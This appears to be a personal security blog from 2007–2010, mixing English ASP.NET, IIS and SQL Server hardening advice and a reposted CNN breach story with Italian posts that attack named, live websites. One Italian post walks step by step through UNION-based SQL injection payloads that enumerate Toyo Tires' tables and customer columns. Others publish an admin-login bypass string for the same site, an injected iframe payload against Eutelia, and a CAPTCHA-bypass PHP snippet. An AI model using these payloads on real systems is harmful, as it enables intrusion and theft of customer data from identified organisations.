cyphersec A blog about Web Application Security and .NET development best practices

19Jan/100

Microsoft releases Cross Site Scripting Security reference.

image

Cross-site scripting attacks are on the rise because they are easy for attackers to craft and execute. In addition, they allow attackers to gather the most valuable content (user data) rapidly and in a manner that can easily go unnoticed by the user and often the Web site or application itself. As XSS attacks continue, it is imperative that development organizations prepare themselves with the solutions needed to rapidly address the problems as they occur. It is equally important that long-term solutions including security policies/requirements are in place to design, implement, verify, and release code that proactively protects your customers from XSS attacks.

Microsoft has released another document as part of their SDLC document library. This time is a 21 page document titled “Quick Security Reference : Cross Site Scripting”. The scope of this document is to increase awareness of XSS Vulnerabilities to each persona involved in software development. In particular Microsoft identifies four different roles: Business decision maker, architect, developer and tester.

Quick Security Reference Cross Site Scripting Reference also includes results of a basic survey of software companies that have established practices for fixing vulnerabilities that lead to attacks approximate that the costs associated with remediating a Web site that has encountered XSS like attack is around 40-man-hours per incident. That cost combined with the cost of hiring or training engineer to address the problem (~100$/hour) and the average number of seven XSS (or similar) exploitable vulnerabilities per Web site brings the total estimated cost to $28,000 to fix each problem reactively.

Figure 1. “12 Web application vulnerabilities between January 2006 and June 2007” shows XSS at the top of the ladder leaving no doubt that XSS is definitely one of the most exploited vulnerabilities in today applications.

image

Each persona is then introduced to different topics related to XSS, strictly related to their role and responsibilities. An architect will be more involved in Input Validation Rules, Output encoding strategies, Future Design Considerations rather then Identifying Untrusted Input and Writing Secure Code just to mention few. Useful insights on how to identify and classify an XSS type vulnerability (Reflected, Stored, Local) and software development best practices are also part of the document.

In conclusion; Software developers may find this document surprisingly useful as it covers almost everything they need to know in order to prevent, discover, mitigate and fix XSS vulnerabilities.

17Oct/090

Microsoft Anti-XSS Library v3.1 Released

The Microsoft Information Security Tools (IST) team has released the latest Microsoft Anti-Cross Site Scripting (Anti-XSS) Library version 3.1.

How does a cross-site scripting (XSS) vulnerability occur? An example is when a web application does not encode the output that is sent to the browser, this can make the site susceptible XSS attacks as well as other common attacks.

Using XSS attacks, malicious users can cause damage to a site including hijacking a client session, stealing a web session information as well as cookies and more. The Anti-XSS Library v3.1 is an encoding library specifically designed to help developers protect their ASP.NET web-based applications from XSS attacks. Watch the video, “Anti-XSS 3.0 Released,” as Vineet Batta and Anil Revuru (RV), Senior Software Developers from the Microsoft Information Security Tools (IST), provide an overview of the Anti-XSS Library and how it can prevent XSS attacks in your application.

The key new feature in Anti-XSS v3.1 is sanitization of HTML pages and fragments, ensuring all malicious scripts are removed and enabling the input safe to display to the browser.

Download the latest Anti-XSS Library v3.1. Learn more about this library and other information security tools on the IST blog.

source : Information Security - Thoughts & Experiences from Todd Kutzke

4Oct/090

Security Best Practices : ASP.NET Applications

Last Update: 2010/01/14

Securing web applications has always been a nightmare and probably it will always be. Working hacks for all major web development frameworks are into the wild and new vulnerabilities get discovered every day if not every hour.

Fortunately, .NET framework provides a good lists of defences that, if used and managed properly will allow you to create a defence wall between something valuable (your application) and the bad guys.

What follows is a list of all the .NET/ASP.NET security features, and best practices I’ve learned to be effective while coding web application during these years.

ASP.NET Application Security Guidelines

 

  1. Security should not taken down in the name of simplicity and/or UI appeal.
  2. Avoid, at all costs, client side validation (e.g. using Ajax or all JavaScript related validation libraries). JavaScript can and will, turned off and so your protections).
  3. Validate everything that comes in. From HTTP Headers, to User Inputs (HttpHeaders, Cookies, ViewState and so on). Even if you don’t use them, keep an eye on them, bad formatted http headers could crash your web server for instance.
  4. Assume that not only good guys will be using your applications.
  5. Security through Obscurity never makes sense.
  6. Validate user inputs in the application, promote the use of Regular Expressions (and be assured that they work the way they are meant to be)
  7. If you are using AJAX, shield all your Ajax calls. Ajax hacking is a new kind of hacking into applications, be sure they are secure.
  8. When using AJAX, be careful what you send back. Do not leak information. Do not return more information than is necessary to complete the request.
  9. Use the principle of Encapsulation. Don’t abuse the public keyword. If something is marked as public there should be a valid reason for it. Promote the use of the internal and/or protected internal instead.
  10. Pages with sensitive data should not be cached: page content is easily accessed using browser’s history.
  11. Use Declarative and Imperative Security and don’t trust your own code. If your method is supposed to just read a file, use PermitOnly along with FileIOPermission.
  12. Avoid using FullTrust, which means your application can do everything not only at application level by also at CLR level. Use Medium Trust or Low Trust depending on your application needs.
     

  13. Use mature, well security tested algorithms.
  14. Never compare passwords, compare the hash. Do not use MD5 which could be hacked using Rainbow tables, use RIPEMD160 instead.
  15. Don’t rely on ViewState as a valid and secure storage. ViewState is by default base64 encoded, in a matter of seconds any clever hacker could hack it and use it against you. Encrypt it at page or application level using ViewStateEncryptionMode.
  16. Make use of the HealthMonitoring system and trace your application behaviour. Use ViewStateFailureAuditEvent and make your application respond to such events.
  17. Encrypt your connection strings using aspnet_regiis. This tool it’s so easy to use and requires simple steps to both encrypt and decrypt connection’s strings.
  18. Promote the use of Gatekeepers, and never trust your application. If something have to deal with some other piece of code, it has to be authorised and authenticated first.
  19. Don’t use Blacklists, but use Whitelists instead, teach your application what to accept not what to avoid.
  20. Don’t try to sanitize a URI, if it doesn’t fit, reject it and let the user provide a valid one.
  21. While creating a Web Service, use WSE. If you are using WCF instead, before writing an application on it read the WCF Security Guidance.
  22. Don’t tell them anything. If your application throws an exception don’t provide technical details to the user. An hackers could read through the lines and craft a better working hack.
  23. While storing a password or any sensitive string, use the SecureString object. Which is encrypted for privacy when being used, and deleted from computer memory when no longer needed.
  24. Use platform features to manage keys where possible.
  25. Do not pass sensitive data from page to page.
  26. Do not cache sensitive data.
  27. Do NOT use GET for anything that changes the server state or contains sensitive information. GET requests are logged in the web server access logs. They are also shown in the browser history.
  28. DO use POST for every action that changes the server state and reject all non-POST methods. POST prevents unintentional actions, Most search engines won’t crawl POST forms and it also helps prevent duplicate submissions.
  29. If using Cookies, mark them as HTTPOnly using System.Net.Cookie. Set the httpOnlyCookies attribute on the authentication cookie. Internet Explorer Service Pack 1 supports this attribute, which prevents client-side script from accessing the cookie from the document.cookie property.
  30. Using slidingexpiration, is not always a good idea. A hacker could be possibly be logged in and won’t ever be kick out while trying to hack what’s next.
  31. Do not echo any user input straight away. Encode it first. Do it only if required. ANY information you give to a hacker CAN and WILL be used to hack your website.
  32. Learn how to use the Microsoft Anti-Cross Site Scripting Library to prevent XSS attacks.
  33. Protect Audit and Log Files. Log files might be boring stuff to look at. From an hacker point of view, they are a goldmine as they could possible revel valuable information.
  34. Don’t use Server.MapPath use Request.MapPath instead and mark the final parameter of to false. This means that a user cannot successfully supply a path that contains “..” to traverse outside of your application’s virtual directory hierarchy. Eg:

    Request.MapPath(INPUT, HttpContext.Current.Request.ApplicationPath, false);

  35. Add safeguards to your ASP.NET application to help protect against common canonicalization issues using System.IO.GetFullPath at application level at the beginning of every request (Global.asax)

    ScreenShot002

  36. Use WindowsAuthentication instead of any custom authentication. Using WindowsAuthentication ensure you the password will never be transmitted over the network.
  37. When constructing SQL queries, use type safe SQL parameters. AKA Use stored procedures or if you can not use parameterised queries in conjunction with Prepare statement. Using stored procedures it is always the best approach, from both technical and security point of views.
  38. Robots.txt files are the first place hackers look at. Use access controls to protect them.
  39. Secure your Web Service Definition Language WSDL. Your WSDL leaks the interface to your web service.
  40. ASP.NET provides a very rich security features for protecting your pages against CSRF attacks. Using ViewStateUserKey in association with Session.SessionID as discussed here in the OWASP Cross Site Forgery Prevention Cheat. This value will be now validated in the postback and if the value provided does not match the value in the viewstate an exception is thrown. Note: This requires ViewState to be enabled and therefore cannot be used in ASP.NET MVC applications.
  41. ASP.NET 1.1 and later include a ValidateRequest page directive that stops some malicious user input that could lead to XSS exploits. Since, ValidateRequest is enabled by default, all you have to do is ensure that you don’t explicitly disable it, either with page directives or configuration files. Note that ValidateRequest blocks any request that contain HTML or XML. If your page is intended to accept HTML or XML input from the user, you need to disable ValidateRequest, but be sure to follow the input validation discussed previously.
  42. If you must use innerHTML to create elements in the document, create only those elements that are not available through the DOM (param is one example) or that are not generated by user input. To generate HTML elements, use the createElement, appendChild and setAttribute methods for greater safety.
  43. If your site is constructed with frames, you can set the SECURITY attribute on untrusted FRAME and IFRAME elements to restricted. This set the security zone of the frame in the browser to the user’s restricted zone, which does not allow any script to run.

Web Server Security Guidelines

 

  1. Deny extended URLs. Excessively long URLs can be sent to Microsoft IIS servers, causing the server to fail to log the complete request. Unless specific applications require long URLs, set a limit of 2048 characters. Microsoft IIS will process request over 4096 bytes long, but will not place the contents of the request in log files. Modify %windir%\system32\inetsrv\urlscan\urlscan.ini and ensure “MaxQueryString'=2048” is present. This requires URLScan to be installed (read below)
  2. Use URLScan v2.5 or 3.1.
    URLScan v3.1 is a security tool that restricts the types of HTTP requests that Internet Information Services (IIS) will process. By blocking specific HTTP requests, URLScan helps prevent potentially harmful requests from being processed by web applications on the server. URLScan v3.1 has feature upgrades and fixes from its predecessor (v2.5) such as the ability to scan query strings, the ability to custom tailor rules that scan parts of your HTTP requests and many others. URLScan v3.1 will install as an ISAPI filter on IIS 5.1 and later, including the latest IIS 7.0 for Windows Server 2008
  3. Disable Directory listing.
  4. Your webserver should always be patched with the last updates.
  5. Scan your webserver using tools like Nikto. Nikto is an Open Source (GPL) web scanner which performs comprehensive tests against web servers for multiple items, including over 3500 potentially dangerous files/CGIs.
  6. Use SSLs were possible, this will encrypt and protect your data while on the wire. Using SSL doesn’t necessary means you are secure. It simply means your data is encrypted while on the go. If using SSL, restrict authentication tickets to HTTPS connections only.
  7. Ensure that the application pool identity is not granted sensitive privileges or unnecessary rights to access resources.
  8. Do not use highly privileged or administrative identities for IIS application pools
  9. Consider using a lower privilege identity.
  10. Separate code with different privilege requirements into different application pools
  11. When using anonymous authentication, configure the anonymous user to be the application pool identity.
  12. Use the principle of least privileged account. Create and associate your application with a low privileges user that fills all your applications needs.

SQL Server Security Guidelines

  1. Disable access to the xp_cmdshell functions within SQL Server using EXEC sp_dropextendedproc ‘xp_cmdshell’.
  2. Choose Windows Authentication when you can. It enforces strong passwords, password policies and other interesting stuff.
  3. Use a least privileges user. Create a SQL Server login for the account. Map the login to a database user in the required database. Place the database user in a database role. Grant the database role limited permissions to only those stored procedures or table your application really needs. By using a database role, you avoid granting permissions directly to the database user. This isolate you from potential damage to the database.
  4. If you are really paranoid, or asked to be, use the last line of defence. Database Cryptography.
22Apr/090

Hackers stole data on Pentagon’s newest fighter jet

WASHINGTON (CNN) -- Thousands of confidential files on the U.S. military's most technologically advanced fighter aircraft have been compromised by unknown computer hackers over the past two years, according to senior defense officials.

The F-35 Joint Strike Fighter's self-diagnostic system was compromised by hackers, officials say.

The F-35 Joint Strike Fighter's self-diagnostic system was compromised by hackers, officials say.

The Internet intruders were able to gain access to data related to the design and electronics systems of the Joint Strike Fighter through computers of Pentagon contractors in charge of designing and building the aircraft, according to the officials, who did not want to be identified because of the sensitivity of the issue.

In addition to files relating to the aircraft, hackers gained entry into the Air Force's air traffic control systems, according to the officials. Once they got in, the Internet hackers were able to see such information as the locations of U.S. military aircraft in flight.

The Joint Striker Fighter plane is the military's new F-35 Lightning II. It designed to become the aircraft used by all of the branches of service.

Most of the files broken into focused on the design and performance statistics of the fighter, as well as its electronic systems, officials said. The information could be used to make the plane easier to fight or defend against.

Additionally, the system used by the aircraft to conduct self-diagnostics during flight was compromised by the computer intrusions, according to the officials.

However, the officials insisted that none of the information accessed was highly sensitive data.

The plane uses stealth and other highly sensitive electronic equipment, but it does not appear that information on those systems was compromised, because it is stored on computers that are not connected to the Internet, according to the defense officials.

The Joint Strike Fighter's main contractor is Lockheed Martin Corp., and Northrop Grumman Corp. and BAE Systems PLC are major subcontractors in the plane's production.

Lockheed Martin's chief financial officer denied that there was any breach of classified information, which was first reported by the Wall Street Journal on Tuesday.

"The U.S. government doesn't talk a whole lot about this, and neither do we. But in response to the [Wall Street Journal] report, we think it's incorrect," said Bruce Tanner of Lockheed Martin. "There's never been any effective attack. We have measures in place, and there's never been a successful attack."

In a statement released later, the company reiterated its position that no classified information had been accessed.

"To our knowledge, there has never been any classified information breach. Like the government, we have attacks on our systems continually and have stringent measures in place to detect and stop attacks," the statement said.

Representatives of BAE Systems and Northrop Grumman would not comment on the story and referred all questions to Lockheed Martin.

Different variations of the Joint Strike Fighter will be produced for the different branches of service it will be used in. Many international partners are helping build the plane, and it will be sold to U.S.-allied countries.

The involvement of multiple nations raises concern about the level of computer security measures the partner countries have, officials said.

Companies contracting with the Department of Defense now have to prove that they are using the proper computer security before a contract can be awarded, Pentagon officials said. That measure was put into place within the past year because of the increase in cyber intrusions, they said.

Asked whether sensitive technology for the Joint Strike Fighter had been jeopardized, Pentagon spokesman Bryan Whitman said, "I am not aware of any specific concerns."

Whitman would not confirm the cyber-security breach on the Joint Strike Fighter program but said the number of attempted attacks on the U.S. military's network has been on the rise.

"We have seen the number of intrusion attempts more than double recently," he said. He would not reveal a timeline.

He said the computer systems of the Department of Defense are scanned thousands of times a day by entities looking for ways inside U.S. military computer networks.

Officials could not say who was behind the computer hacking, which has occurred numerous times since 2007. The intruders were able to cover their tracks, making it look like the virtual break-ins were coming from various parts of the world, according to officials.

The Wall Street Journal reported that the attacks appeared to originate in China, citing "former U.S. officials."

Last month, a Pentagon annual report to Congress about China's military power said China has been making continued progress in developing cyber-warfare techniques.

The report noted that U.S. government computers were the target of "intrusions that appear to have originated" in China, although they were not confirmed to be from the Chinese military.

CNN requested a comment about the accusation from the Chinese Embassy in Washington. An embassy spokesman denied the allegations to the Wall Street Journal.

The Air Force, the main program manager of the Joint Strike Fighter program, has a number of ongoing investigations into the multiple hackings, officials said.

The officials said that a number of safeguards have since been put into place to protect that system.

 

Source :
CNN - http://www.cnn.com/2009/US/04/21/pentagon.hacked/index.html

24Jan/081

[01] HackAttack – How to steal a database

Oggi è successa una cosa strana, durante il lavoro mi è stato chiesto da un amico un esempio "vero" di sql-injection. Li sul momento avevo molte cose da sbrigare.. e così lo rimandai a questo advisory. Tornato con un triste "ma è un or.. tutti sanno mettere una or" è scattato qualcosa. Quello che dice il mio amico è vero.. una or la sanno mettere tutti.. (ndcs basta cercare su forum italiani con google et voilà.. nomi come sonounhackercazzutppercheusogliexploitdeglialtri.com).

Ma con SQL Injection (e sue derivate) cosa ci posso veramente fare? Cioè, il massimo è scrivere una news nel sito bucato con scritto HACKED! by iosuperhacker?

Ma se io fossi un criminale. Se fossi una persona che può guadagnare (e anche forte) cosa potrei veramente fare? Sono specializzato nelle applicazioni web. Il 70% delle mie attività lavorative ha a che fare con programmi per il web. E' 8 anni che faccio questo lavoro, 10 che batto tasti su tastiere. Ti viene naturale scoprire delle vulnerabilità. Cerchi di capire il codice.. mentre la gente non riesce ad andare oltre l'interfaccia grafica. Ritornando alla frase

"ma è un or.. tutti sanno mettere una or"

Per quanto ne so io, tutti parlano di sql injection. Ma nessuno ha mai avuto il coraggio di documentare come sia possibile eseguire l'exploit su di un server. Di un server di produzione. di un sito reale.. con indirizzi e codice reale.

Se mi costerà qualcosa, beh vedremo (viva la libertà d'informazione).

L'inizio

27 Novembre 2007 -  Advisory Toyo Tires. Vi ricordate le simpatiche SQL Injection di cui soffriva l'applicativo CMS? Bene, i signori della toyo (ed il loro reparto IT) hanno ben deciso di condividere l'idea del software insicuro ed hanno scritto la pagina dealers.asp. Ok cool, ma chi mi spiega che senso ha linkare una pagina autrice di operazioni su database (scrittura,lettura,delete) prima del login?

Che ci faccio con questa pagina?

pag1

select * from dealers where campo1 like '%%' or campo2 like '%%' or campo3 like '%%'

Allora la pagina ad ogni action del form non fa altro che postare a se stessa una variabile di nome text, la quale viene valorizzata con il valore inserito dall'utente. Questo è il nostro ingresso. La prima cosa da fare è cercare di recuperare informazioni da altre tabelle oltre che a quella dei dealers.

Problema: "Devo trovare delle altre tabelle, come faccio?"
Troncare la query ed inserire un altra interrogazione di recupero. Come? Ogni database SQL-Server ha le sue fantastiche tabelle/viste di sistema, le quali indicizzano tutti gli oggetti presenti all'interno del database (tab,viste,stored,etc) del database. Dio benedica chi ha avuto questa idea! Le tabelle sono indicizzate all'interno di INFORMATION_SCHEMA.TABLES ha diverse colonne, quella che interessa è la colonna TABLE.NAME. Lanciamo la query

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%CUSTOMER%' --

così facendo completiamo la query in questo modo

select * from dealers where campo1 like '%provone';select 
top 1 table_name FROM INFORMATION_SCHEMA.TABLES 
where table_name like '%customer%' --%' or 
campo2 like '%%' or campo3 like '%%'

perfetto, lanciamo la query.. non va. uhm.. Qualcosa non sta funzionando (la query restituisce due gruppi sperati di valori e non riesce ad unirle all'interno del recordset), la prima cosa che mi viene in mente è la UNION. Non riesco ad unire il risultati, le due query sono separate e il programma non le riesce a digerire. La query non è andata in errore, non ho ricevuto alcun errore SQL. Quindi ha funzionato, ma io non la riesco a vedere.

Si union, devo unire le due query. Bel casino, perchè? Per via dell'errore che si riceve quando si esegue questa query

provone' UNION SELECT 1 from sysobjects;--

ritorna

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

La tabella dealers ha più campi di quelli restituiti da sysobjects.. devo quindi capire quanti campi ha dealers e da li iniziare a craftare sql per far bilanciare l'equazione. Si parte scrivendo query

provone' union select 1,null;--

Ed aggiungere un NULL, fin tanto che il database non ritorna più errore. Nel nostro caso la nostra tabella di query principale ha 29 campi; ecco la query

provone' UNION SELECT
1,1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL
WHERE 1=1 --

Ora nasce un altro problema, il numero massimo di record che possiamo utilizzare è uno solo.

Rilanciamo la query precedente per il recupero tabelle in modo che restituisca un solo valore

provone' UNION SELECT 1,(SELECT TOP 1 TABLE_NAME FROM  INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%customer%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL 
WHERE 1=1 --

   pag2

"Houston abbiamo la tabella". La query può essere modificata a piacimento, e con un programmino per automatizzare il tutto si possono trovare la quasi totalità delle query. A dire il vero - tanto questa sera è andata così - non è il massimo del divertimento. A manina, non c'è altro modo!

Ora che abbiamo trovato il modo di trovare le tabelle è necessario andare a recuperare le colonne. Per questo tipo d'interrogazioni ci "appoggeremo" su INFORMATION_SCHEMA.COLUMNS

provone' UNION SELECT 1,(SELECT TOP 1 TABLE_NAME FROM  INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%customer%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL 
WHERE 1=1 --

pag3

Visto che address1 non è prossimo il massimo se si cerca un campo "di valore" continuamo a ciclare i dati. Questa volta è necessario aggiungere una ulteriore clausola alla query. Ovvero, mostrami la prima colonna disponibile della tabella che non sia address1.

provone' UNION SELECT 1,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_storeCustomer' and COLUMN_NAME NOT IN ('address1')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --

pag4

Si continua a scoprire campi aggiungendo "and COLUMN_NAME NOT IN ('address1','address2')" e così via. Vi accellero i risultati, ecco la query che mostra l'ultima colonna della tabella

provone' UNION SELECT 1,(SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_storeCustomer' AND COLUMN_NAME NOT IN ('address1','address2','city','country','dateAdded','email','fax','firstname','lastname','listingID','mpListingId','optin_mailing_list','phone','phoneOrder','phone2','retailerID','state','storeCustomerID','userID','zip')),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --

Le tabelle che sono saltate fuori dopo circa 40 minuti in totale sono:

tbl_contracts_order_product
ListingProductID
tbl_channel_order
rptRetailerBids  
tbl_partnerPayment  
tbl_retailerGroupBuyParts
tbl_magazineSubs 
tbl_listingProductPartsVehicle  
tbl_listingProductOptimized 
vMPtopBiddersCurrentMonth
mgmt_Manufacturers with signed contracts  
tbl_paceEdwards_Dealers        
tbl_listingSpotlight
tbl_mpUserStat
ChannelVehicle              
tbl_Ad_PhotoSpot
tbl_vendor_productType 
tbl_announcements
tbl_site
tbl_vehicleYear
LastEscrowDepost 
tbl_mpConfig
tbl_banner

Una volta che avete in mano tabelle e relative colonne potete tranquillamente interrogare il database e rubare i dati per cui vi è stato chiesto di lavorare.

Se volete capire le cose che si possono fare con TSQL su internet è pieno di dimostrazioni, fate voi. Se invece sapete dove mettere le mani vi consiglio questa reference di stored procedures di sistema (sp_denylogin , xcmd_shell? anyone?).

Nel caso vi possa essere utile, riporto la sql injection per verificare che una determinata stored esista.

provone' UNION SELECT 1,(SELECT ROUTINE_NAME FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_DEFINITION LIKE '%sp_a%'),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL WHERE 1=1 --

Dopo tutto quello che è stato provato è possibile:

  1. Inserire modificare cancellare dati/tabelle/database
  2. Eseguire stored di sistema
  3. Spegnere la macchina su cui gira il database server
  4. Recuperare importanti informazioni (anche private)
  5. Causare seri danni

Tutto questo per non aver validato una banale form. 10 minuti (non di più) di lavoro e questo post non esisterebbe.

Nota bene: "Per questo esempio non è stato violato alcun sistema di protezione, non è stato aggirato nessun messaggio di accesso riservato ed esclusivo."

Vado a prepararmi un piatto di pasta, devo ancora cenare. Per questa volta niente conclusioni, ne morali.

19Jan/082

Eutelia, Remote File Inclusion, XSS etc etc etc

Cattivi e buoni programmatori anno 2008. Sarà perchè vengo dalla lettura dell'ultimo libro di joel, sarà perchè ultimamente sto facendo altri tipi di studi, ma più mi sforzo e più non riesco a spiegarmi come si possano realizzare prodotti scadenti.

Analiziamo per punti.

  • Eutelia (sembra) non sviluppare mai da zero i propri siti, si affida a componenti CMS Opensource (Joomla).
  • Nel caso in cui si presenti la necessità di integrare sistemi di business logic, questi vengono realizzati internamente.
  • Sembra non si curi di aggiornare i prodotti di terze parti free utilizzati.
  • Sembra non avere un team di beta testers.
  • Sembra non aver sottoscritto contratti di penetration testing.

Per il punto uno e due c'è poco da argomentare.

Punto tre, la storia di Joomla è piena di vulnerabilità, lo sappiamo tutti e secunia ce lo ricorda molto volentieri [2]. Dall'anno 2003, anno di rilascio di questo prodotto, ben tredici advisories sono stati rilasciati, lode al team di joomla per aver risposto sempre velocemente con una percentuale del 85% di bug fix. A gennaio è stato rilasciato un advisory che permette ad utente (senza privilegi) di prendere il totale controllo dell'applicativo.. avranno scaricato ed installato le patch? (no).

Comunque, se i punti quattro e cinque non fossero veri, non sarei qui a scrivere questo ed altri post.  Già alla fine di maggio dell'anno scorso [1], inciampai per sbaglio nel codice di questi programmatori. A distanza di circa un anno, sono dovuto tornare sul portale di eutelia per alcune ricerche, e, anche questa volta, ho trovato un altra perla del software. Stiamo parlando del prodotto EuteliaVOIP, nome dietro il quale si cela la lodevole iniziativa di portare la connettività nelle zone non ancora coperte da ADSL.

Con il tempo, Eutelia ha installato access point wifi che permettono, a fronte di una sottoscrizione, di navigare in velocità ADSL. Data la verifica di copertura del segnale da parte degli utenti prima e di tecnici eutelia poi, è possibile navigare in internet. Cool.

Attivare una connessione è più o meno semplice, basta acquistare uno starter kit (199€) e sottoscrivere l'abbonamento. Fatto questo verranno consegnate delle credenziali che, dopo essere validate dall'applicativo, permetteranno all'utente di avere una vita su internet. Per fare questo ci si collega all'indirizzo http://wifi.euteliavoip.com si seleziona la voce "Attiva Login" il sistema valida le credenziali e e così via. Tutto sembra andare liscio come l'olio, ma dando una piccola sbirciata "under the hood" ci troviamo davanti ad un altra cattiva (nulla) introduzione di sistemi di sicurezza.

mainlogin

Come è logico aspettarsi, il componente di accesso è sotto HTTPS, e viene visualizzato all'utente grazie ad un "iframe". Lo stesso avviene per i form di richiesta credenziali. Ora il problema non è tanto con l'implementazione (che sicuramente non è delle più eleganti), ma è con il componente stesso.

Nel momento in cui viene effettuato il click sul pulsante "Avanti" l'applicativo invia in le seguenti variabili

  • wc_login (username)
  • wc_password (password)
  • wc_retpath (return path?)
  • wc_dbos
  • CmdAttiva

5 paramentri, di cui solo due sono valorizzati dall'utente. Uhm? Veloce controllo dei valori passati e... "ding". Supponiamo che tentiate il login con l'utenza "prova - prova", ecco i valori delle cinque le variabili.

wc_login = "prova"
wc_password = "prova"
wc_retpath = "wbc_skpopenaccountwifi"
wc_dbos = "dbeutelia"
CmdAttiva = "Attiva"

Il motivo dell'esistenza della variabile wbc_retpath è sconosciuto, perchè, anche settandola con altri valori (anche di altri componenti di eutelia) essi non sembrano in alcun modo influenzare l'applicativo, la cosa sconcertante è notare che.. il valore wc_dbos è il valore utilizzato dall'applicativo per indentificare il database su cui eseguire le query! Nel caso in cui non vengano effettuate modifiche a questa variabile si riceve l'errore

Email o Password errati
E' anche possibile che la sottoscrizione non sia stata ancora confermata, controllore la propria casella di posta.
Cliccare sul bottone "Indietro" del browser.....

Se invece si cambia il valore in qualsiasi altra cosa.. si riceve l'errore che, tristemente, ci conferma l'impossibilità di aprire il database richiesto o_O.

db

Naturalmente è possibile modificare a piacimento il valore di questa variabile per andare a renderizzare qualsiasi tipo di codice (anche php) all'interno dell'applicativo stesso. E attenzione quando si dice questo, perchè l'inclusione di codice remoto può portare a spiacevoli conseguenze.

Per dimostrare la vulnerabilità, ci limiteremo a valorizzare la variabile con il seguente codice

<iframe src="http://www.ansa.it" width="600" height="800">

ansa_xss

Le conclusioni.. le lascio a voi. Auguro ad Eutelia di trovare programmatori che si possano definire tali e sopratutto di rivedere le proprie regole di rilascio in produzione.. sempre che esse esistano.

 

Riferimenti:

[1] "Tecniche errate di prevenzione, un esempio reale" - http://www.cyphersec.com/?p=76

[2] "Joomla! 1.x - Vulnerability Report" - http://secunia.com/product/5788/?task=statistics

28Nov/072

Ops i did it again

Source: asxplaylistnew.aspx
"Your source.. our passion"

   1: <ENTRY>
   2: <title>Intervento di Walter Veltroni</title>
   3: <REF HREF="mms://media.dsonline.tv/ds/costituente_pd/20071027_Diretta_Milano.wmv" />
   4: <STARTTIME VALUE="01:01:14" />
   5: <DURATION VALUE="01:06:36" />
   6: <param name="produzione" value="Partito Democratico" />
   7: <param name="data" value="27/10/2007" />
   8: <param name="description" value="" />
   9: <param name="clip_abstract" value="" />
  10: <param name="position" value="0" />
  11: <param name="type" value="3" />
  12: <param name="id" value="6665" />
  13: </ENTRY>
  14:  
  15: <ENTRY>
  16: <title>Intervista a Piero Fassino</title>
  17: <REF HREF="mms://media.dsonline.tv/ds/costituente_pd/20071027_fassino.wmv" />
  18: <param name="produzione" value="Partito Democratico" />
  19: <param name="data" value="27/10/2007" />
  20: <param name="description" value="" />
  21: <param name="clip_abstract" value="" />
  22: <param name="position" value="1" />
  23: <param name="type" value="3" />
  24: <param name="id" value="6651" />
  25: </ENTRY>
Filed under: Vulnerabilità 2 Comments
27Nov/070

Advisory: Toyo Tires

Update: non avendo ricevuto risposta, rilascio le info necessarie. As usual, non mi assumo alcuna responsabilità per eventuali defacement e/o alterazioni al contenuto del sito in questione.

toyo.com
Alessio Marziali
www.cyphersec.com
Vendor contattato il : 27/11/2007
Risposta Vendor : no
Rilasciato pubblico: 03/12/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : SQL Injection
Componente Vulnerabile : BEX Management - Shaw Binary Systems Inc

Digitando http://www.toyo.com/admin si arriva alla pagina di login del componente BEx Management della Shaw Binary Systems Inc. Il componente è vulnerabile a SQL Injection. Questo significa che, anything' OR 'x'='x legata ad una qualsiasi username ci apre le porte del reame Toyo.

Cosa è possibile fare una volta effettuato il login:

  • Inserire codice XSS per contaminare più computer possibili attraverso keyloggers, malaware etc.
  • Inserire informazioni errate
  • Inserire informazioni per distruggere la credibilità dell'azienda stessa
  • etc etc

Cosa interessante è che nella pagina di login, senza alcuna bisogno di loggarsi, è possibile aggiungere dealers toyo.. http://www.toyo.com/admin/dealers.asp

Al momento non ho effettuato ulteriori ricerche, ne provato ulteriori dork.  Nel caso, fatemi sapere.

20Nov/070

CAPTCHA Exploit ovvero, byebye trackback antispam

 Wikipedia - "A CAPTCHA (IPA: /ˈkæptʃə/) is a type of challenge-response test used in computing to determine whether the user is human. "CAPTCHA" is a contrived acronym for "Completely Automated Public Turing test to tell Computers and Humans Apart", trademarked by Carnegie Mellon University. A CAPTCHA involves one computer (a server) which asks a user to complete a test. While the computer is able to generate and grade the test, it is not able to solve the test on its own. Because computers are unable to solve the CAPTCHA, any user entering a correct solution is presumed to be human. The term CAPTCHA was coined in 2000 by Luis von Ahn, Manuel Blum, Nicholas J. Hopper (all of Carnegie Mellon University), and John Langford (then of IBM). A common type of CAPTCHA requires that the user type the letters of a distorted image, sometimes with the addition of an obscured sequence of letters or digits that appears on the screen."

POC: http://g-brain.sesoyo.com/captchapwn.php
Crediti: http://g-brain.sesoyo.com/
Source Code:

   1: <?php
   2: $gif = fopen("x.gif",'w');
   3: fwrite($gif,file_get_contents("http://g-brain.sesoyo.com/proxy/index.php?q=aHR0cDovL3d3dy52bGllZ2VydmFyaW5nZW4uY29tL25sL2dkY2hlY2sucGhw"));
   4: fclose($gif);
   5: echo "&lt;img src='x.gif' alt='CAPTCHA'/><br />\n";
   6:  
   7: $gif = ImageCreateFromGIF("x.gif");
   8:  
